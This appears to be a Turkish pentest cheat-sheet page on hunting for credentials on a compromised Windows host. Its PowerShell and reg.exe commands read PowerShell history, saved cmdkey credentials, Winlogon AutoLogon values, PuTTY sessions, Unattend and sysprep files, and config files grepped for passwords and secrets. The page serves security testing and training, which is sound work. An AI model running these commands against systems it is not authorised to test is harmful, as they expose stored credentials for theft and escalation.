Credential Hunting¶
PSHistory, cmdkey, AutoLogon, PuTTY, config¶
HEDEF PowerShellde:
cmdkey /list
Get-History
(Get-PSReadLineOption).HistorySavePath
Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue
reg.exe query 'HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon'
reg.exe query 'HKCU\Software\SimonTatham\PuTTY\Sessions' /s
Get-ChildItem C:\Users -Recurse -Force -File -ErrorAction SilentlyContinue |
Where-Object {$_.Extension -in '.txt','.ini','.config','.xml','.kdbx'} |
Select-Object -First 100 FullName
{% hint style="info" %}
Get-History mevcut PowerShell oturumunu gösterir. PSReadLine kaydedilmiş tarihçedir; WinRM / noninteractive context'te Get-PSReadLineOption yoksa hata verebilir.
{% endhint %}
CX_PSHistory.ps1 bunları daha geniş tarar: Windows Tool Transfer & CX_PSHistory.
Unattend, IIS, XAMPP, web.config ve belge araması — önce path mevcut mu?
@('C:\Unattend.xml','C:\Windows\Panther\Unattend.xml',
'C:\Windows\Panther\Unattend\Unattend.xml',
'C:\Windows\System32\Sysprep\sysprep.xml',
'C:\inetpub\wwwroot\web.config') |
ForEach-Object { if(Test-Path $_){ Get-Item $_ } }
Get-ChildItem C:\xampp,C:\inetpub,C:\Users\Public -Recurse -File -ErrorAction SilentlyContinue |
Where-Object {$_.Extension -in '.ini','.xml','.txt','.config','.kdbx','.db'} |
Select-Object -First 100 FullName
# .NET/config dosyalarında erişebildiğin içerikten kontrollü arama:
Get-ChildItem C:\inetpub,C:\xampp -Include *.config,*.ini,*.xml -File -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern 'password|connectionString|secret' -ErrorAction SilentlyContinue
{% hint style="info" %}
Saved creds / runas: cmdkey /list içinde bir kayıt görünmesi, runas /savecred ile herhangi bir kullanıcı olarak çalışabileceğin anlamına gelmez. Credential target, username, policy ve session gerekli. runas /user:USERNAME cmd.exe genelde parola ister. Start-Process -Verb RunAs da interaktif elevation/UAC onayı gerektirir; otomatik admin olmaz.
{% endhint %}